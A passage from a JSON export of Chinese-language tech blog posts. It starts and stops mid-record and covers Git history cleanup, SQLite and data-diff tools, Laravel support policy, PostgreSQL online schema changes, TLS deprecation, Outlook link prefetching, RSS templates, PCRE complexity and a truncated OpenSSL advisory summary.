    "body": "但印象中之前看過 (在 <a href=\"https://web.archive.org/\">Internet Archive</a> 上可以看到 <a href=\"https://web.archive.org/web/20170904090839/http://dangitgit.com/\">4 Sep 2017</a> 的版本)，但搜尋 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 後發現沒有提過... 這幾天紅起來的「<a href=\"https://dangitgit.com/\">Dangit, Git!?!</a>」，也有<a href=\"https://dangitgit.com/zh\">簡體中文版</a>可以看。\r\n\r\n裡面其實提到了很多要怎麼處理不小心塞錯資料進 <a href=\"https://git-scm.com/\">Git</a> 的情況，不過好像還是有些東西沒涵蓋到，像是遇到不小心塞到 credentials 進去後需要清除掉的 <code>git rebase -i HASH</code>，接著一連串的手動修 conflict 與 <code>git rebase --continue</code>，最後再接上 <code>git push --force</code> 這種禁招...\r\n\r\n另外推一下「<a href=\"https://www.tenlong.com.tw/products/9789864342662\">為你自己學 Git</a>」這本書，裡面其實也有提到類似的情境：\r\n\r\n<blockquote>第7章：修改歷史紀錄\r\n7.1 狀況題 修改歷史訊息\r\n7.2 狀況題 把多個 Commit 合併成一個Commit\r\n7.3 狀況題 把一個 Commit 拆解成多個Commit\r\n7.4 狀況題 想要在某些 Commit 之間再加新的Commit\r\n7.5 狀況題 想要刪除某幾個 Commit 或是調整Commit 的順序\r\n7.6 Reset、Revert 跟 Rebase 指令有什麼差別？</blockquote>\r\n\r\n這本書也有網頁版，在 <a href=\"https://gitbook.tw/\">gitbook.tw</a> 這邊。",
    "title": "Git 的「災難處理」"
  },
  {
    "id": "10764",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=31874767\">Xlite: Query Excel and Open Document spreadsheets as SQLite virtual tables (github.com/x2bool)</a>」這個專案，就如同說明，是一個支援讀取 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Excel\">Excel</a> 檔案的 <a href=\"https://sqlite.org/\">SQLite</a> extension，原網站在 <a href=\"https://github.com/x2bool/xlite\">x2bool/xlite</a> 這邊。\r\n\r\n依照說明支援舊的 <code>.xls</code> 與新的 <code>.xlsx</code> 的格式，但不知道公式運算支援到什麼程度...\r\n\r\n先 load extension：\r\n\r\n<pre>sqlite3 # will open SQLite CLI\r\n&gt; .load libxlite</pre>\r\n\r\n接著是建立 virtual table：\r\n\r\n<pre>CREATE VIRTUAL TABLE class_data USING xlite(\r\n    FILENAME './path/to/example.xlsx',\r\n    WORKSHEET 'Class Data',\r\n    RANGE 'A2:F'\r\n);</pre>\r\n\r\n接下來就可以搞事了：\r\n\r\n<pre>SELECT COUNT(*), D FROM class_data GROUP BY D ORDER BY COUNT(*);</pre>\r\n\r\n看起來是用 <a href=\"https://en.wikipedia.org/wiki/Rust_(programming_language)\">Rust</a> + <a href=\"https://en.wikipedia.org/wiki/C_(programming_language)\">C</a> 寫的，然後作者有提醒這是寫興趣的專案：\r\n\r\n<blockquote>This project is experimental, use at your own risk. The project is developed in my free time as a way to learn Rust and database systems.</blockquote>\r\n\r\n反倒是 Hacker News 討論串裡面提到了 <a href=\"https://github.com/multiprocessio/dsq\">multiprocessio/dsq</a> 這個專案，看起來發展的比較久，支援度也比較完整了：\r\n\r\n<blockquote>Commandline tool for running SQL queries against JSON, CSV, Excel, Parquet, and more</blockquote>\r\n\r\n不過就不是綁 SQLite 了 (雖然還是有關)，從範例可以看到他是獨立的程式：\r\n\r\n<pre>$ dsq testdata.json \"SELECT * FROM {} WHERE x &gt; 10\"</pre>\r\n\r\n<blockquote>Under the hood dsq uses DataStation as a library and under that hood DataStation uses SQLite to power these kinds of SQL queries on arbitrary (structured) data.</blockquote>\r\n\r\n如果是真的要用的話，這套看起來應該會好一些...",
    "title": "直接用 SQLite 查詢 Excel 檔案的 XLite (還有 dsq)"
  },
  {
    "id": "10765",
    "body": "前幾天看到的東西，不確定是不是在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上，反正在 tab 上幾天了... 但還是附上 Hacker News 的連結：「<a href=\"https://news.ycombinator.com/item?id=31837307\">Show HN: Data Diff – compare tables of any size across databases</a>」，專案的位置在 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/datafold/data-diff\">datafold/data-diff</a>。\r\n\r\n這是用 <a href=\"https://www.python.org/\">Python</a> 寫的工具，安裝可以透過 <a href=\"https://pip.pypa.io/\">pip</a> 直接裝，所以也可以用 <a href=\"https://pypa.github.io/pipx/\">pipx</a> 之類的工具獨立起來跑。\r\n\r\ndata-diff 會先拆成多個區塊，然後透過 checksum 的機制判斷兩邊的資料是否相同，不同的部份再取 bisection 分開下去找 (或是更多份，在 Technical Explanation 這個段落有寫到)。\r\n\r\n在「Common use-cases」這段有提到幾個常見的使用情境，像是在自動化的環境下可以當作異常監控的工具：\r\n\r\n<blockquote><strong>Alerting and maintaining data integrity SLOs.</strong> You can create and monitor your SLO of e.g. 99.999% data integrity, and alert your team when data is missing.</blockquote>\r\n\r\n另外在 troubleshooting 的情境下當然也很有幫助，可以先確認資料是否有問題，以及資料的哪邊出問題：\r\n\r\n<blockquote><strong>Debugging complex data pipelines.</strong> When data gets lost in pipelines that may span a half-dozen systems, without verifying each intermediate datastore it's extremely difficult to track down where a row got lost.</blockquote>\r\n\r\n這個工具讓我想到 <a href=\"https://www.percona.com/doc/percona-toolkit/LATEST/\">Percona Toolkit</a> 裡面的 <a href=\"https://www.percona.com/doc/percona-toolkit/LATEST/pt-table-checksum.html\">pt-table-checksum</a>，不過 pt-table-checksum 只能處理 <a href=\"https://dev.mysql.com/\">MySQL</a> replication 的情境，data-diff 看起來通用多了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/K18IL7a.webp\" /><img src=\"https://i.gslin.com/imgur/K18IL7a.png\" alt=\"\" /></picture>\r\n\r\n目前完整測試過的是 <a href=\"https://dev.mysql.com/\">MySQL</a>、<a href=\"https://www.postgresql.org/\">PostgreSQL</a> 與 <a href=\"https://www.snowflake.com/\">Snowflake</a>，其他的有實做但還沒完整測試過。\r\n\r\n看起來還在開發 (後面是商業公司 <a href=\"https://www.datafold.com/\">Datafold</a>)，但先寫下來，之後如果有用到的時候可以回頭看看進展...",
    "title": "比對兩個表格 (可以是不同的資料庫) 的內容，指出差異處"
  },
  {
    "id": "10766",
    "body": "查資料的時候發現，在 <a href=\"https://laravel.com/docs/9.x/releases\">Laravel 9</a> 剛發佈的時候是有掛 <a href=\"https://en.wikipedia.org/wiki/Long-term_support\">LTS</a> 版本的資訊 (從「<a href=\"https://blog.gslin.org/archives/2022/02/09/10535/laravel-9-lts-%E5%87%BA%E4%BA%86/\">Laravel 9 (LTS) 出了</a>」這邊的截圖可以看到)，但在發佈後沒多就就被拿掉了，在 <a href=\"https://twitter.com/taylorotwell\">Taylor Otwell</a> 的 <a href=\"https://twitter.com/\">Twitter</a> 上有提到這件事情：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Some have noticed L9 is no longer listed as &quot;LTS&quot; in our release notes. <br><br>Waiting to see the resolution of this: <a href=\"https://t.co/F5YCkJNKjt\">https://t.co/F5YCkJNKjt</a><br><br>It could determine how we approach Laravel 9 long-term support.<br><br>Regardless, Laravel 9 will receive security updates for at least 2 years.</p>&mdash; Taylor Otwell ? (@taylorotwell) <a href=\"https://twitter.com/taylorotwell/status/1491834866295525389?ref_src=twsrc%5Etfw\">February 10, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n從幾個 forum 討論的態度上看起來以後不會出新的 LTS 版本了，之後的版本都是提供一年的 bug fix + security fix，再加上另外一年的 security fix，基本上有兩年的 support，算是半強迫開發者時間到了就要升級版本...\r\n\r\n另外一個有看到的問題是，現在的 Laravel 9 支援的 <a href=\"https://www.php.net/\">PHP</a> 版本因為底層 <a href=\"https://symfony.com/\">Symfony</a> 要 PHP 8.0+ 關係也一起被拉上來，連 PHP 7.4 都不支援了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4JA2t6S.webp\" /><img src=\"https://i.gslin.com/imgur/4JA2t6S.png\" alt=\"\" /></picture>\r\n\r\n這個靠「<a href=\"https://launchpad.net/~ondrej/+archive/ubuntu/php\">***** The main PPA for supported PHP versions with many PECL extensions *****</a>」這類 3rd-party repository 來補是還能解，但感覺 Symfony 對這些問題的態度...",
    "title": "Laravel 將不會有 LTS 版本"
  },
  {
    "id": "10767",
    "body": "翻資料的時候翻到「<a href=\"https://www.shayon.dev/post/2022/47/pg-osc-zero-downtime-schema-changes-in-postgresql/\">pg-osc: Zero downtime schema changes in PostgreSQL</a>」這篇文章，可以在 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 上做到類似 <a href=\"https://www.percona.com/doc/percona-toolkit/LATEST/pt-online-schema-change.html\">pt-online-schema-change</a> 的事情，這邊先提一下 pt-online-schema-change 的說明：\r\n\r\n<blockquote>ALTER tables without locking them.</blockquote>\r\n\r\n不管是 <a href=\"https://dev.mysql.com/\">MySQL</a> 還是 PostgreSQL，都會遇到 <code>ALTER TABLE</code> 常常會 lock 的問題，這點主要的影響就是 db migration。\r\n\r\n在 dev 環境的機器應該沒什麼問題，資料量都不大，應該是很快就可以跑完；但在 stage 環境時就會開始有狀況了 (假設是從 production 複製過來的資料，表格的大小可能偏大)，但應該還是可以用 downtime 換，慢慢跑，花幾個小時把 db migration 跑完。\r\n\r\n可是到了 production 環境時就不太能這樣搞了，這也是一般不太建議在 production 環境裡用現成的 db migration 工具，尤其當資料量偏大的時候。\r\n\r\n解這個問題的方法就是透過繞路的方式，不要直接動原來的 table：基本的想法是開一個新的 table，然後一直從舊的 table 搬資料到新的 table 上 (包括應用程式下指令寫到舊的 table 上的資料)，直到最後用一個短暫的 lock 機制來切換 table。\r\n\r\n在 MySQL 的世界裡比較有名的是 <a href=\"https://www.percona.com/\">Percona</a> 的 pt-online-schema-change (trigger-based) 以及 <a href=\"https://github.com/\">GitHub</a> 的 <a href=\"https://github.com/github/gh-ost\">gh-ost</a> (replication-based)，另外找資料的時候有發現 <a href=\"https://www.facebook.com/\">Facebook</a> 也有丟 <a href=\"https://github.com/facebookincubator/OnlineSchemaChange\">OnlineSchemaChange</a> (trigger-based) 出來。\r\n\r\n在 PostgreSQL 的世界裡似乎是 <a href=\"https://reorg.github.io/pg_repack/\">pg_repack</a> 這個方案，用了 trigger-based 的方式處理，但之前沒有注意到，是翻 pg-osc 的時候被提到才知道有這個工具。\r\n\r\n而這次提到的 pg-osc 則是 2022 年才出的軟體，也是 trigger-based 的方式：\r\n\r\n<blockquote>pg-osc uses the concept of shadow tables to perform schema changes. At a high level, it creates a shadow table that looks structurally the same as the primary table, performs the schema change on the shadow table (avoiding any locks since nothing is using this table), copies contents from the primary table to the shadow table and swaps the table names in the end while preserving all changes to the primary table using triggers (via audit table).</blockquote>\r\n\r\n另外從 PostgreSQL 的 wiki 上看到「<a href=\"https://wiki.postgresql.org/wiki/Change_management_tools_and_techniques\">Change management tools and techniques</a>」這頁，裡面看到「<a href=\"https://github.com/michelp/metagration\">Metagration: Logical PostgreSQL Migration</a>」這個工具，看起來好像是 replication-based 的方案，不過還是有用到一些 trigger 做事。\r\n\r\n這些方案都先記錄起來好了...",
    "title": "PostgreSQL 上對應 pt-online-schema-change 的工具 pg-osc"
  },
  {
    "id": "10769",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈了 API 的 <a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">TLS</a> 1.0/1.1 日落期：「<a href=\"https://aws.amazon.com/blogs/security/tls-1-2-required-for-aws-endpoints/\">TLS 1.2 to become the minimum TLS protocol level for all AWS API endpoints</a>」。\r\n\r\n公告裡提到是 2023/06/28：\r\n\r\n<blockquote>This update means you will no longer be able to use TLS versions 1.0 and 1.1 with all AWS APIs in all AWS Regions by June 28, 2023.</blockquote>\r\n\r\nTLS 1.0 目前還堪用的應該是 <a href=\"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\">AES</a> + <a href=\"https://en.wikipedia.org/wiki/Cipher_block_chaining\">CBC</a> 類的 cipher，在正確實做 mitigation 下加減可以用：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/v64skAS.webp\" /><img src=\"https://i.gslin.com/imgur/v64skAS.png\" alt=\"\" /></picture>\r\n\r\n對於像是 <a href=\"https://en.wikipedia.org/wiki/Java_6\">Java 6</a> 環境這類很老舊的系統，如果真的無法升級的話，可以想到 workaround 的方法是透過 self-signed CA + TLS proxy 來幫忙把 TLS 1.0 的連線請求解開，重包成 TLS 1.2 的連線。",
    "title": "AWS 宣佈了 API 的 TLS 1.0/1.1 日落期"
  },
  {
    "id": "10770",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://ss64.com/bash/syntax-pronounce.html\">Pronunciation guide for UNIX</a>」這個列表，裡面有各種特殊符號的英文。\r\n\r\n裡面列的真的比較簡易，舉例來說，像是他對 <code>-</code> 的說明是：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/g0ey6z4.webp\" /><img src=\"https://i.gslin.com/imgur/g0ey6z4.png\" alt=\"\" /></picture>\r\n\r\n但如果你查 <a href=\"https://en.wikipedia.org/wiki/Hyphen\">Hyphen</a> (<a href=\"https://zh.wikipedia.org/wiki/%E8%BF%9E%E5%AD%97%E5%8F%B7\">連字號</a>) 與 <a href=\"https://en.wikipedia.org/wiki/Dash\">Dash</a> (<a href=\"https://zh.wikipedia.org/wiki/%E8%BF%9E%E6%8E%A5%E5%8F%B7\">連接號</a>) 的定義，都會指出者兩個東西是不一樣的東西：\r\n\r\n<blockquote>The hyphen is sometimes confused with dashes (figure dash ‒, en dash –, em dash —, horizontal bar ―), which are longer and have different uses, or with the minus sign −, which is also longer and more vertically centred in some typefaces.</blockquote>\r\n\r\n<blockquote>The dash is a punctuation mark consisting of a long horizontal line. It is similar in appearance to the hyphen but is longer and sometimes higher from the baseline.</blockquote>\r\n\r\n裡面的說明用在口語上表達應該還行，但如果是真的在寫比較正式的資料的時候還是要去其他地方確認...",
    "title": "各種特殊符號的英文"
  },
  {
    "id": "10771",
    "body": "前幾天在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上翻到的，微軟的 Outlook 系統 (雲端上的系統) 會自動點擊信件內的連結，導致一堆問題：「<a href=\"https://medium.com/@ryanbadger/magic-links-can-end-up-in-bing-search-results-rendering-them-useless-37def0fae994\">“Magic links” can end up in Bing search results — rendering them useless.</a>」，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論也有很多受害者出來抱怨：「<a href=\"https://news.ycombinator.com/item?id=31892299\">“Magic links” can end up in Bing search results, rendering them useless (medium.com/ryanbadger)</a>」。\r\n\r\n原文的標題寫的更批評，指控 Outlook 會把這些 link 丟到 <a href=\"https://www.bing.com/\">Bing</a> 裡面 index，這點還沒有看到確切的證據。\r\n\r\n先回到連結被點擊的問題，照文章內引用的資料來看，看起來是 2017 年開始就有的情況：「<a href=\"https://stackoverflow.com/questions/34346732/do-any-common-email-clients-pre-fetch-links-rather-than-images\">Do any common email clients pre-fetch links rather than images?</a>」。\r\n\r\n<blockquote>As of Feb 2017 Outlook (https://outlook.live.com/) scans emails arriving in your inbox and it sends all found URLs to Bing, to be indexed by Bing crawler.</blockquote>\r\n\r\n在 Hacker News 上的討論也提到了像是 one-time login email 的機制也會因此受到影響，被迫要用比較費工夫的方法讓使用者登入 (像是給使用者 one-time code 輸入，而不是點 link 就可以登入)。\r\n\r\n先記起來，以後在設計時應該會遇到，要重新思考 threat model...",
    "title": "微軟的 Outlook 系統會自動點擊信件內的連結"
  },
  {
    "id": "10772",
    "body": "在 <a href=\"https://lobsters-daily.reight.io/\">Lobsters Daily</a> 上看到在介紹 <a href=\"https://en.wikipedia.org/wiki/RSS\">RSS</a> 2.0 的文章：「<a href=\"https://prose.nsood.in/implementing-rss\">Implementing RSS for my blog (yes, this one!)</a>」。\r\n\r\n大多數我們都會選擇用 library 來輸出 RSS feed 或是 <a href=\"https://en.wikipedia.org/wiki/Atom_(web_standard)\">Atom</a> feed，但這並不代表自己己幹 template 會很難，只要處理好 <a href=\"https://en.wikipedia.org/wiki/XML\">XML</a> 的輸出就可以了。\r\n\r\n作者分成兩塊介紹，第一塊是這個 RSS feed 是什麼，第二塊是這個 RSS feed 裡面有什麼。\r\n\r\n第一塊的部份是描述 channel 本身的資訊，另外可以看到 <code>{{{items}}}</code> 這段，這是等下要放第二段的部份：\r\n\r\n<pre>&lt;rss version=\"2.0\"&gt;\r\n    &lt;channel\"&gt;\r\n        &lt;title\"&gt;title}}&lt;/title\"&gt;\r\n        &lt;link\"&gt;{{link}}&lt;/link\"&gt;\r\n        &lt;description\"&gt;{{description}}&lt;/description\"&gt;\r\n        &lt;language\"&gt;en-US&lt;/language\"&gt;\r\n        &lt;pubDate\"&gt;pubDate}}&lt;/pubDate\"&gt;\r\n        {{{items}}}\r\n    &lt;/channel\"&gt;\r\n&lt;/rss\"&gt;</pre>\r\n\r\n接下來就是解釋 <code>items</code> 的部份，裡面可以有很多 <code>item</code> 資料：\r\n\r\n<pre>&lt;item&gt;\r\n    &lt;title&gt;{{metadata.title}}&lt;/title&gt;\r\n    &lt;link&gt;{{getFullUrl slug}}&lt;/link&gt;\r\n    &lt;description&gt;{{metadata.summary}}&lt;/description&gt;\r\n    &lt;author&gt;mail@nsood.in&lt;/author&gt;\r\n    &lt;pubDate&gt;{{rssDatetime metadata.time}}&lt;/pubDate&gt;\r\n&lt;/item&gt;</pre>\r\n\r\n你可以靜態寫到檔案裡面，也可以動態產生這個內容，這樣基本上已經會動了。當然，要記得該有的 XML escaping 要放進去。\r\n\r\n另外我之前有提到「<a href=\"https://blog.gslin.org/archives/2022/05/17/10704/%e5%af%a6%e5%81%9a-rss-atom-feed-%e7%9a%84%e6%9c%80%e4%bd%b3%e5%af%a6%e8%b8%90/\">實做 RSS/Atom feed 的最佳實踐</a>」，也可以參考看看，這算是多做的部份，可以讓 feed crawler 更新速度變得比較即時。",
    "title": "自己刻 RSS 2.0 的簡單方式"
  },
  {
    "id": "10773",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=31908874\">FBI: Stolen PII and deepfakes used to apply for remote tech jobs (bleepingcomputer.com)</a>」這個很「有趣」的文章，原報導在「<a href=\"https://www.bleepingcomputer.com/news/security/fbi-stolen-pii-and-deepfakes-used-to-apply-for-remote-tech-jobs/\">FBI: Stolen PII and deepfakes used to apply for remote tech jobs</a>」，另外 <a href=\"https://www.fbi.gov/\">FBI</a> 的公告在「<a href=\"https://www.ic3.gov/Media/Y2022/PSA220628\">Deepfakes and Stolen PII Utilized to Apply for Remote Work Positions</a>」這邊。\r\n\r\n<blockquote>The FBI Internet Crime Complaint Center (IC3) warns of an increase in complaints reporting the use of deepfakes and stolen Personally Identifiable Information (PII) to apply for a variety of remote work and work-at-home positions.</blockquote>\r\n\r\n當 deepfake 的技術愈來愈成熟後，這個問題應該會愈來愈嚴重？\r\n\r\n另外讓我想到，先前有人發現錄取的人跟面試的人好像不一樣的情況，但一時間找不到那篇文章...",
    "title": "FBI 警告愈來愈多使用假身份與 Deepfake 技術應徵遠端工作的事件"
  },
  {
    "id": "10775",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=31949535\">mTCP: TCP/IP applications for DOS PCs (brutman.com)</a>」這個有趣的東西，在 <a href=\"https://en.wikipedia.org/wiki/DOS\">DOS</a> 環境下的 <a href=\"https://en.wikipedia.org/wiki/TCP/IP\">TCP/IP</a> 程式組，原網站在「<a href=\"http://www.brutman.com/mTCP/mTCP.html\">TCP/IP applications for your PC compatible retro-computers</a>」這邊。\r\n\r\n不過我覺得比較神奇的是，他的測試環境是真的包括一堆老機器跟網卡耶 XDDD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4eCQZqL.webp\" /><img src=\"https://i.gslin.com/imgur/4eCQZqL.png\" alt=\"\" /></picture>\r\n\r\n裡面提到的 <a href=\"https://en.wikipedia.org/wiki/NE1000\">NE1000</a> 是 <a href=\"https://en.wikipedia.org/wiki/Industry_Standard_Architecture\">ISA</a> 界面的卡，這樣聽起來保養的都還不錯...",
    "title": "DOS 下的 TCP/IP 程式組"
  },
  {
    "id": "10776",
    "body": "前幾天在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 看到「<a href=\"https://architecturenotes.co/things-you-should-know-about-databases/\">Things You Should Know About Databases</a>」這篇文章，裡面講了很多基本的 RDBMS 的概念，另外 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上對應的討論在「<a href=\"https://news.ycombinator.com/item?id=31895623\">Things to know about databases (architecturenotes.co)</a>」這邊。\r\n\r\n裡面講了 <a href=\"https://en.wikipedia.org/wiki/B-tree\">B-tree</a> 與 <a href=\"https://en.wikipedia.org/wiki/B%2B_tree\">B+tree</a> 的差異：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GU0tCl6.webp\" /><img src=\"https://i.gslin.com/imgur/GU0tCl6.jpg\" alt=\"\" /></picture>\r\n\r\n不過這點在維基百科上也蠻清楚的文字說明：\r\n\r\n<blockquote>A B+ tree can be viewed as a B-tree in which each node contains only keys (not key–value pairs), and to which an additional level is added at the bottom with linked leaves.</blockquote>\r\n\r\n另外裡面的 sorted 的那張圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Gx6qUqU.webp\" /><img src=\"https://i.gslin.com/imgur/Gx6qUqU.jpg\" alt=\"\" /></picture>\r\n\r\n這邊的說明不完全正確，在維基百科上的「<a href=\"https://en.wikipedia.org/wiki/Database_index\">Database index</a>」這個條目裡面有提到 Non-clustered、Clustered 與 Cluster 三種架構，這邊圖片所表示的是 Non-clustered。在 <a href=\"https://en.wikipedia.org/wiki/InnoDB\">InnoDB</a> 裡面 data 是照 primary key 順序存放的 (沒有指定時會有一套邏輯選出哪個欄位當 PK，最後的情況是有 hidden key)。\r\n\r\n再來就是提到 <a href=\"https://en.wikipedia.org/wiki/Isolation_(database_systems)\">isolation</a>，這邊也講的比較淺，只提到 <a href=\"https://en.wikipedia.org/wiki/American_National_Standards_Institute\">ANSI</a> 標準裡面的 <code>SERIALIZABLE</code>、<code>REPEATABLE READ</code> (RR)、<code>READ COMMITTED</code> (RC) 與 <code>READ UNCOMMITTED</code> (RU) 四個，但沒提到像是 <code>SNAPSHOT ISOLATION</code> (SI) 這類的也很常見的標準。\r\n\r\n說到 SI，在查 <a href=\"https://en.wikipedia.org/wiki/Snapshot_isolation\">Snapshot isolation</a> 的資料時整理了一下 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的混亂情況。\r\n\r\n在 PostgreSQL 9.0 以及更早前的版本，你指定 <code>SERIALIZABLE</code> 其實只有做到 Snapshot isolation 的等級，到了 9.1+ 後，<code>SERIALIZABLE</code> 才是真正做到 ANSI 定義的強度：\r\n\r\n<blockquote>Snapshot isolation is called \"serializable\" mode in Oracle and PostgreSQL versions prior to 9.1, which may cause confusion with the \"real serializability\" mode.</blockquote>\r\n\r\n另外 ANSI 定義的 isolation level 很難「用」 (但還是值得學起來，算是基本的東西)，實際上的使用都是看各家資料庫對 isolation level 的保證程度來設計。",
    "title": "又一份講基本 RDBMS 的文件"
  },
  {
    "id": "10777",
    "body": "這篇稍微偏 CS 理論一些...\r\n\r\n以前在學校學 <a href=\"https://en.wikipedia.org/wiki/Formal_language\">Formal language</a> 的時候會帶出 Grammer、Language、Automaton 三個項目，就像是維基百科上的條列：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tfc6xne.webp\" /><img src=\"https://i.gslin.com/imgur/tfc6xne.png\" alt=\"\" /></picture>\r\n\r\n裡面可以看到經典的 Regular expression 會被分到 <a href=\"https://en.wikipedia.org/wiki/Regular_grammar\">RG</a>/<a href=\"https://en.wikipedia.org/wiki/Regular_language\">RL</a>/<a href=\"https://en.wikipedia.org/wiki/Finite-state_machine\">FSM</a> 這三塊。\r\n\r\n前幾天看到 <a href=\"https://gugod.org/\">gugod</a> 寫的「<a href=\"https://gugod.org/2022/07/perl-grammar-with-regex/\">[Perl] 以正規表示式來定義文法規則</a>」這篇，裡面試著用 <a href=\"https://www.perl.org/\">Perl</a> 的 <a href=\"https://en.wikipedia.org/wiki/Regular_expression\">regular expression</a> (<a href=\"https://perldoc.perl.org/perlre\">perlre</a>) 建構「<a href=\"https://zh.wikipedia.org/wiki/%E9%80%92%E5%BD%92%E4%B8%8B%E9%99%8D%E8%A7%A3%E6%9E%90%E5%99%A8\">遞歸下降解析器</a>」 (<a href=\"https://en.wikipedia.org/wiki/Recursive_descent_parser\">Recursive descent parser</a>)。\r\n\r\nRecursive descent parser 可以當作是 <a href=\"https://en.wikipedia.org/wiki/Context-free_grammar\">CFG</a> 的子集合，而 CFG 對應到的語言是 <a href=\"https://en.wikipedia.org/wiki/Context-free_language\">CFL</a>，另外他對應到的自動機是 <a href=\"https://en.wikipedia.org/wiki/Pushdown_automaton\">PDA</a>。\r\n\r\n我們已經知道 perlre 因為支援一堆奇怪的東西 (像是 backreference 或是 recursive pattern)，所以他能接受的 language 已經超過 RL，但我很好奇他能夠做到什麼程度。\r\n\r\n用搜尋引擎翻了翻，查到對 <a href=\"https://www.pcre.org/\">PCRE</a> 的分析 (這是一套與 Perl regular expression 語法相容的 library)：「<a href=\"https://cs.stackexchange.com/questions/4839/which-languages-do-perl-compatible-regular-expressions-recognize\">Which languages do Perl-compatible regular expressions recognize?</a>」。\r\n\r\n在裡面有人提到「<a href=\"https://www.npopov.com/2012/06/15/The-true-power-of-regular-expressions.html\">The true power of regular expressions</a>」這篇文章，裡面給了一個在 <a href=\"https://en.wikipedia.org/wiki/P_(complexity)\">PTIME</a> 演算法，將 <a href=\"https://en.wikipedia.org/wiki/3SAT\">3SAT</a> 轉換到 PCRE 裡解，這證明了 PCRE 是 <a href=\"https://en.wikipedia.org/wiki/NP-hardness\">NP-hard</a>；另外也很容易確認 PCRE 是 <a href=\"https://en.wikipedia.org/wiki/NP_(complexity)\">NP</a>，所以就達成了 <a href=\"https://en.wikipedia.org/wiki/NP-completeness\">NP-complete</a> 的條件了...\r\n\r\n本來一直以為 PCRE 只是 CFG/CFL/PDA 而已，沒想到這麼強，NPC 表示大多數現有的演算法都可以轉成 PCRE 形式放進去跑... XD",
    "title": "Perl 的 Regular Expression 的強度：NP-complete"
  },
  {
    "id": "10778",
    "body": "這邊用 <a href=\"https://github.com/\">GitHub</a> 寫的說明好了：「<a href=\"https://github.blog/2022-06-29-improve-git-monorepo-performance-with-a-file-system-monitor/\">Improve Git monorepo performance with a file system monitor</a>」。\r\n\r\n從 2.37.0 開始，Windows 與 Mac 版的使用者可以透過 <a href=\"https://www.git-scm.com/docs/git-fsmonitor--daemon\">FSMonitor</a> 的功能記錄檔案系統的變化，大幅減少需要 scan 整個 repository 的時間，可以看到啟用後對於像是 <a href=\"https://chromium.googlesource.com/chromium/src/\">chromium</a> 這種大型專案的 status 時間就大幅下降了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/XnM7JpH.webp\" /><img src=\"https://i.gslin.com/imgur/XnM7JpH.png\" alt=\"\" /></picture>\r\n\r\n不過 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 還沒支援，目前我的環境都是 Linux，就沒辦法用了...",
    "title": "Git 2.37.0 對巨大 Monorepo 的加速功能 FSMonitor"
  },
  {
    "id": "10781",
    "body": "難得在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到 <a href=\"https://www.openssl.org/\">OpenSSL</a> 的 <a href=\"https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures\">CVE</a>：「<a href=\"https://www.openssl.org/news/secadv/20220705.txt\">OpenSSL Security Advisory [5 July 2022]</a>」，相關的討論在「<a href=\"https://news.ycombinator.com/item?id=31993713\">OpenSSL Security Advisory (openssl.org)</a>」。\r\n\r\n第一個 CVE 是 <a href=\"https://en.wikipedia.org/wiki/Arbitrary_code_execution\">RCE</a> 等級，但觸發條件有點多：\r\n\r\n首先是 RSA 2048bits，這個條件應該算容易發生的。\r\n\r\n第二個是，因為這個安全問題是因為 OpenSSL 3.0.4 才引入的程式碼，而 OpenSSL 3.0.4 是 2022/06/21 發表的，未必有很多人有升級。\r\n\r\n第三個是，因為這次出包的段落是用到了 <a href=\"https://en.wikipedia.org/wiki/AVX-512\">AVX-512</a> 指令集，一定要 <a href=\"https://www.intel.com/\">Intel</a> 或是 <a href=\"https://en.wikipedia.org/wiki/Centaur_Technology\">Centaur</a> 的 CPU，後面這家公司前身就是<a href=\"https://www.viatech.com/\">威盛</a> (VIA) 的一員，去年賣給了 Intel (然後發現連官網用的 domain 都沒續約...)。\r\n\r\n而 <a href=\"https://www.amd.com/\">AMD</a> 雖然在 <a href=\"https://en.wikipedia.org/wiki/Zen_4\">Zen 4</a> 架構上支援 AVX-512，但還沒推出產品，所以直接閃避 XD\r\n\r\n另外第三個還有額外的限制，因為這次用到的是 IFMA 指令集，所以也不是所有有支援 AVX-512 的 CPU 都會中獎：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/BcCT89I.webp\" /><img src=\"https://i.gslin.com/imgur/BcCT89I.png\" alt=\"\" /></picture>\r\n\r\n只看 Intel 的部份，第一個支援 IFMA 的是 2018 